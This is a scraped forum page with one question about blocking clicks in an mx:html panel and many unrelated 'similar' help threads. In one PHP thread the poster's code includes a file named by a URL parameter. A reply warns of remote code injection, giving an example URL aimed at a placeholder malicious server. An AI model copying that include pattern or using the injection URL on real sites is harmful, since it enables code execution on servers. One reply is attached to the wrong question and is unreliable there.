Prevent user interaction using mx:html

Hi,
Is there a way to prevent the user interaction when html is loaded inside a panel. The page should not get redirected when the user clicks on any links in the page.

The easiest way to do this is by loading the content inside an iframe, and putting a fixed positioned div on top of it, like in "<div id="overlay" style="position: fixed; top:0; left:0; width: 600; height:400"></div>" (you can calculate the size dynamically, of course).
When you want to disable all interactions, you simply set the div's visibility to "visible" (loader.htmlLoader.window.document.getElementById("overlay").style.visibility = "visible";)
When you want to enable the interactions again, you simply hide the div (loader.htmlLoader.window.document.getElementById("overlay").style.visibility = "hidden";)

Similar Messages

Is it possible to prevent users from using the ''Purge'' option from the ''Recover deleted items'' in Office 365?

Hi,
After speaking with a Microsoft engineer over the phone, I've been told that there is no way to prevent users to go to their OWA and manually Purge specific items from the ''Recover deleted items''. The Microsoft tech told us to place the desired mailboxes
on a litigation-hold and that all data will be recoverable... but only from the time you place the mailbox onto Litigation-Hold and previous items, which doesn't take effect for new-coming emails.
1- From what I understand, any new items coming in the mailbox after the Litigation-Hold is put in place will still be ''purgeable'', right?
2- Is there a way (PowerShell, Security group, etc.) that can prevent a user from using the Purge option?
We are very surprised that there is absolutely no thread that talks about this issue, which in our opinion, is a major legal and security flaw from Office 365. This is a main concern for us to actually go with Office365. For instance, this means that at
any given time, if a user exchanges emails with a competitor, they can manually purge emails sent and receive as soon as it is sent/received, even after Litigation-Hold is in place.
Thank you for your reply and let us know if you have more questions.
Normand Bessette, IT support technician, Newad Media

Thank you for the reply.
Is there still a way to prevent users from using the Purge option, like with a Powershell script to disable Purge?

GPO: CD and DVD: Deny write access prevents user from using their USB Pen drive, but other users or ok

My Users have secure pen drives that launch a CDROM partition with a secure logon app that decrypts the main USB mass storage element of the pen drive on successful logon. The problem I have is that users who install the usb pen drive cannot then
initialize the CDROM launcher app to input their password to access the mass storage element of the pen drive making it useless.
However, any other user that has the same type of pen drive who then plugs it in to the endpoint that already has the drivers installed is able to access their own pen drive or the other users pen drive (providing the know the password).
So I've isolated the problem being down to the presence of the GPO setting stated above on the Removable Storage Access Policy, and by not having this policy in place when a user installs the pen drive they have no issues, but I can't find a way to clean
up a user who is already broken even if I remove the GPO from that user, delete their local profile so that they logon as a new user (no roaming or other data) and use a variety of utilities such as USBOblivion to clear out the registry and file system of
the USB device and installation. When the original user logs back on and then installs the usb pen drive again they have the same issue, but no other users do. I have the same issue if I try this with an alternative user or admin as the first user after the
'clean up'. Everyone else can use the pen drive except the user that originally installed it when the GPO was in place.
If I move the user to a new endpoint or rebuild their endpoint then they have no problem being the installer of the usb pen drive and then using it since the GPO was removed, so what I need to know is what is it about the USB install and the GPO that
is tattooing in Windows somewhere and how do I remove it?

Hi,
In my opinion, this is probably not Windows GPO problem. To confirm the suppose, you can follow the path below to check GPO settings if there is any change after the software installed.
Computer Configuration\Administrative Templates\System\Removable Storage Access
User Configuration\Administrative Templates\System\Removable Storage Access
These two policy manage system and current user Removable Storage access.
If there is no change with these policy, it would be better to contact the manufacture of the driver for further assistance.
Roger Lu
TechNet Community Support

Prevent user from doing device transfer using desktop manager

Hi everyone,
My company would like to prevent user from using the Blackberry desktop manager to perform the device transfer. The reason is we do not want the user to have company data stored on privately-owned device. Is there a way to do that?
Thanks.

Do you want to prevent them from using the program all together, or just from using the Device Switch Wizard? If not, then what do you mean by device transfer?
If it's the Device Switch Wizard then the BES admin can set an IT Policy - http://www.blackberry.com/btsc/KB18290
If someone has been helpful please consider giving them kudos by clicking the star to the left of their post.
Remember to resolve your thread by clicking Accepted Solution.

How can SAP be configured to prevent users from consuming locks?

How can SAP be configured to prevent users from consuming locks?
The issue is that we want to prevent users to use upto maximum locks and so that we will not get lock table overflow issue. I know that we can assign parameter "enque/table_size" a good amount of value. But it is not for any specific user.
Also want to alert in CCMS if any user reaches to its maximum speficified limit of locks.
Thanks
Gopesh

You cannot set a limit of locks per user. There are two ways to reduce/control the number of locks:
- change fewer records within one transaction
- cover more records with one lock using wildcards
Basically it is an application / development issue.
Best regards, Michael

How to prevent a portal user from using the BEx Analyzer ?

Hi,
we have different type of users : most users may use the portal as well
as the analyzer ;
we have one special user with extended authorizations : this user
should use the portal , where he has a limited set of queries to run
with hardcoded filters ==> this user should not be able to use the
analyzer however, since he then would be able to call all other queries
by using the find function ;
how can we make sure this user cannot use the analyzer , using SAP
authorizations ?
best regards,
Erwin Van Giel.

Hi,
if I remove the complete S_RFC authorization for the user then the BEx Analyzer cannot connect anymore to the BW system, but neither can the user run reports from the portal : it needs the S_RFC with 'SYST'.
If I only remove the RRMX from the S_TCODE and from the S_RFC, it does not prevent the user from starting the BEx Analyzer and connecting to the BW system. It only stops the user if he would start the RRMX transaction from within an SAPGUI session.
Perhaps there should be a value in the S_RFC that allows connections from the portal but not from the BEx Analyzer .... ?
so not solved yet ....
best regards,
Erwin.

How to prevent user or group to use 3-tier WebI and DeskI in XI 3.1

How to prevent user or group to use 3-tier WebI and DeskI in XI 3.1
This function is enable in BOE 6.5 by using Supervisor.

Hi,
You can explicitly deny access to these applications from the CMC in BOE 3.1. Open the CMC, click on BusinessObjects Enterprise Application and then select the WebI.
From the right hand side click on the 'Net Access' section for that group and disable the 'Log on to Web-Intelligence and view this object in CMC.'
This will prevent the option of the WebI for that group.
I hope this helps you.
Regards,
Prashant

How to automate testing of features that require user interaction?

I am currently evaluating a test automation tool (RIATest) for my Flex app. In my app, the user uploads/downloads several files from the server. When I try to create an automation script for the process, I get error #2176 (also copied in the end of the post).
Now, my question is that is there anyway to prevent this from happening? Is there some config file that could be modified to set up an isolated test environment without these security restrictions?
My app uses some features that are only available with Flash 10, so using Flash 9 is not an option (I have understood that these security settings came with Flash 10).
Thanks.
Error: Error #2176: Certain actions,
       such as those that display a pop-up window,
       may only be invoked upon user interaction,
       for example by a mouse click or button press.

jake_flex wrote:
M*A*S*H 4077 wrote:
Well, if player version is the problem, you can restrict the minimum version required and if the user's version is lower, he will get asked to update.
Thanks for the reply.
I need some features that are only present in FP10, so I need to compile against that version.
Actually, I installed FP9 to my browser and compiled the app against version 9. Everything went well so far, maybe I'm getting confused with my own software already
Anyway, that got me one step forward. When uploading a file, the user is presented the file browse dialog, which in my knowledge is the operating system specified component. At least RIATest doesn't seem to be able to control this. If someone knows how to handle such case with any test automation tool, please let me know.
Edit: Just found this discussion on the same matter on RIATest forum http://www.riatest.com/forums.html?func=view&id=246&catid=9#246

How to Prevent User for Multiple click on form Submit button ??

Hi,
Is there any easy solution rather than AJAX or any HARD Solution.
to prevent user from being submit for only once...
So database record remain consistent rather than redundant.
if any JAVASCRIPT SOLUTION IT WOULD BE BETTER ONE.
WHAT SHOULD I DO ??

Use the disabled property, set it to true and then submit the form programmatically.
<html>
<head>
<script>
function validate()
     var textfield = document.getElementById('textfield');
     var submitButton = document.getElementById('submitbutton');
     var mainForm = document.getElementById('mainform');
     if ( textfield.value.length == 0 )
          alert("Validation Failed");
          return false;
     submitButton.disabled = true;
     alert("The button has been disabled, going to submit now");
     mainform.submit();
</script>
</head>
<body>
<form id="mainform" action="#" method="GET">
<input type="text" value="" id="textfield"/>
<input type="submit" value="Try Me!" id="submitbutton" onclick="return validate();" />
</form>
</body>
</html>A reminder though, this is JavaScript and these are Java forums.

Is it possible to remove user interaction in a eventListener ?

Hi,
I am working on two scripts that both need to deal with the user interaction.
This following script works just fine. The only matter is that Indesign alerts me that the script prevented the UI dialog from opening.
What if I don't want any alert ?
#targetengine "newdialog"
Application.prototype.main = function(){
     //app.addEventListener ("beforeNew", preventMe, false);
     var myMenuAction = app.menuActions.item("$ID/Document...");
     myMenuAction.addEventListener ("beforeInvoke", preventMe, false)
function preventMe(myEvent){
     //alert(myEvent.cancelable);
     myEvent.stopPropagation();
     myEvent.preventDefault();
app.main();
I thought about userInteractionLevel but I tried to use it recently and I couldn't get it working. My intention was to get an automated update of my modified links when opening a file.
It's like
app.scriptPreferences.userInteractionLevel
couldn't be set once the script has been launched.
#targetengine "autolinkupdate"
main();
function main(){
     var myMenuAction = app.menuActions.item("$ID/kPMOpenDocTextKey");
     myMenuAction.addEventListener("beforeInvoke",removeInteraction,false);
     //app.addEventListener("beforeOpen",removeInteraction, false);
     app.addEventListener("afterOpen",updatelinks, false);
function updatelinks(myEvent){
     var doc=myEvent.parent;
     var lk = doc.links;
     for(var i=0; i<lk.length; i++){
          try{
               lk[i].update();
          catch(e){}
     app.scriptPreferences.userInteractionLevel = UserInteractionLevels.INTERACT_WITH_ALL;
function removeInteraction(myEvent){
     app.scriptPreferences.userInteractionLevel = UserInteractionLevels.NEVER_INTERACT;
So my question is : Is it possible to remove user interaction in a eventListener ?
Thanks,
Loic

Assuiming NHTEST is a database link to the remote database connecting with SCOTT, use user_Tab_cols@NHTESTNicolas.

Web view / Allow User Interaction always brings up Menu Bar

Hi,
I have recognized that a web view on the page which allows user interaction (for example animations with buttons) always causes the menu/navigation bar to pop up which is quite a pain. All other interactive elements don't do it so why would the web view need to cause this.
mulitstates on top of it or fake buttons obviously don't work since the are needs to be touch sensitive.
Any suggestions?
Cheers,
Alex

It depends on how the event listeners in the web view are written. for example simple <a href="link.html"></a> elements don't activate the DPS menu. The same is true for touchstart and click elements.
Try to implement your click/touch events differently. I haven't found the pattern which caused the menu to open, yet. But if you test around a little with different ways of aproch, I'm sure you can find a solutio (e.g. in one case I could solve it by not using event.preventDefault() in another case the touch event was bound within a javascript variable, which also caused the menu to show. etc. pp.)
Good Luck!

Prevent user from opening an applescript file

Greetings,
I have written an Applescript for use by the User to change file permissions on folders or files they get from clients from outside our company. The permissions of these files denies the User from opening the files and work with them The script I wrote will change those permissions to Read/Write but also contains Administrator information with regards to Admin Name and Password. The script runs just fine.
Where my problem arises is I cannot find a way to prevent a User from using the Applescript application on their workstation to open my script and view the Admin name and Password. What I need to happen is to have the script run when the User places a file on the icon, but not allow a User to open the script to see the coding. I'm really new to Applescript and I figure i am missing something. Thanks in advance for any advice.

Are these items downloaded into the same folder in each user account?
That part is reliably the same or are users involved choosing the save location?
Frankly I'd scrap Applescript - it is a pain for anything involving admin privs & normal users.
Option 1…
Stick a task into roots crontab to chmod/ chown that location every 5 minutes or so!
If you want to be smart about it check if the perms are in a mess before you fix them. A shell script can do this. Obviously you need to check the path to give the correct user the ownership etc.
Option 2…
Set a launchd job to watch a specific folder & run a command when items are added - like folder actions without the crappy Applescript part
https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/ man5/launchd.plist.5.html#//apple_ref/do…
It would need to be a system level job since the user doesn't seem to have enough permission.
If you need to use an application to allow the user to have control an Applescript droplet could move the items to the watched folder, where the launchd job resets the perms. Then the items could be moved elsewhere via the script that runs from the watch job.
It all seems kinda kludgy, but sometimes that is how OS X is!
Perhaps this is outlandish & impractical but so is manually fixing stuff like this every time someone calls
Any thoughts?

Help with redirect using an HTML content variable

Hi All,
I have created an update_user page to update records in the
table, and
when submitted I want to be redirected to another "page". I
really only
have one page, an admin.php page, with one of the div's named
"main".
It uses the HTML content variable to replace the include file
based on
its name:
> <?php
> if (!isset($_REQUEST['content']))
> include("main.inc.php");
> else
> {
> $content = $_REQUEST['content'];
> $nextpage = $content . ".inc.php";
> include($nextpage);
> } ?>
So what I want to do now is redirect to something like the
following:
admin.php?content=userList
I have tried replacing the value of the variable $updateGoTo
shown below
to include the content variable as shown above, but it
doesn't work. So
I think I'm not understanding the code below and that's
preventing me
from accomplishing what I want.
> $updateGoTo = "admin.php";
> if (isset($_SERVER['QUERY_STRING'])) {
> $updateGoTo .= (strpos($updateGoTo, '?')) ? "&" :
> $updateGoTo .= $_SERVER['QUERY_STRING'];
> }
> header(sprintf("Location: %s", $updateGoTo));
Can someone explain to me what the above code is doing, and
what I need
to do to accomplish my task?
Many thanks.

Micha,
Thanks for your replies.
> HTTP requires an absolute URL in the Location header.
You have to add
>
http:// and the hostname.
Why does the relative link work on my testing server as I had
it listed
before? Making the link absolute isn't any great problem, so
I'll just
do it.
> 1) Don't use $_REQUEST, it contains mixed data from
three different
> sources. If you want to access URL parameters, use
$_GET.
>
> 2) _Never_ trust any user-submitted data! The above code
allows remote
> code injection:
>
>
http://example.com/admin.php?content=http://malicious.server/hackme
>
> Make sure that $_GET['content'] contains an allowed
value, before you
> use it in an include statement.
Thanks for the pointer, I'll use $_GET instead. This is a
password
protected area that is only accessible to trusted users with
admin
privileges, so I would think they would be safe. However, on
the public
side I'll consider creating an allowable list for all HTML
variables.
Thanks.
Brett

Prevent user from deleting rows from all tables in his own schema

Hi,
How can I prevent user from deleting rows in all tables in his own schema.
I want the user to not able to delete rows from any existing or new tables that might be added in the future.
The user does not have the "DELETE ANY TABLE" system privilege.
Please advise.
Thanks.

Nowadays, I'd also avoid triggers (if possible).
Sometimes, when I daydream, I'm rewriting a few applications that I've contributed to as a newbie, and I'm very ashamed of it nowadays.
From what I've experienced, in retrospective, the emphasis on teaching 'Oracle stuff' has been lying far too much on PL/SQL row-by-row oriented processing instead of letting Oracle 'crunch' sets at once.
Most of my debugging hours ended up in discovering one or more database triggers 'doing stuff automagically'.
Another nice blogpost: http://rwijk.blogspot.com/2007/09/database-triggers-are-evil.html
Regarding OP's question:
I would just rethink/reconsider this requirement completely.
Correctly implementing privileges and roles seems the best way to go, yes.
Triggers? Nah...
pre-post-edit, noticed thread got updated just before posting
Don't know what you mean with 'namedropping', but I think it's legitimate to point other readers to interesting Oracle related opinions/articles that do have a technical background and lots of interesting examples.
post dreaded OTN outage edit (from here)
Again: I would just rethink/reconsider this requirement completely.
Both trigger/vpd are being used to hide a design flaw here.

I'm sure someone addressed this - interactive video in html 5

I'm a longtime Adobe user, as we move toward the future I see the html 5 css3 Dreamweaver pack prepares me for the steps ahead. I would think somebody has already answered this question but I have a client I did some Flash interactive videos for. real simple as rolling over a certain area in the .swf plays an audio clip. The client needs this to be viewble within html 5 so converting the flash to H264 is easy but what about preserving the interactivity?
I looked around but still cannot answer the client until I know EXACTLY what I'm talking about. I'm excited abiut the Adobe flash converter which I have seen the video on which will no doubt when ready for public will boost my business greatly as Flash created technology moves into the future.
Can anyone give me an update on how to address the question " can I convert a flash INTERACTIVE swf an HTML 5 standard format preserving the interactive features of Flash?
thx
rd

Hi
First - There is nothing stopping you continuing to use swf's with html5 as the object/embed code used is still valid and recognised by html5.
Second - You are probably asking this question due to the fact that the iPhone/iPad does not allow flash content. Unfortunately there is no way to get flash to play on these devices, (at the moment, but this could / probably will change). To use interactive graphics on these devices requires the use of the canvas element and javascript, but unfortunately the canvas element are not usable on current versions of IE, (IE9 does allow them).
There is a javascript fix that will allow the use of canvas on IE versions prior to IE9 but I cannot recommend its use due to its speed of rendering except for very simple animations, (and I do mean very simple).
The general opinion of most designers/developers appears to be that unless your target audience is the iPhone/iPad, then continue to use swf's for such items for the next few years at least, after all, the purchasers of the iPhone/iPad did buy these devices, (in most cases) knowing that they could not render flash.
PZ

Prevent user interaction using mx:html

Similar Messages

Maybe you are looking for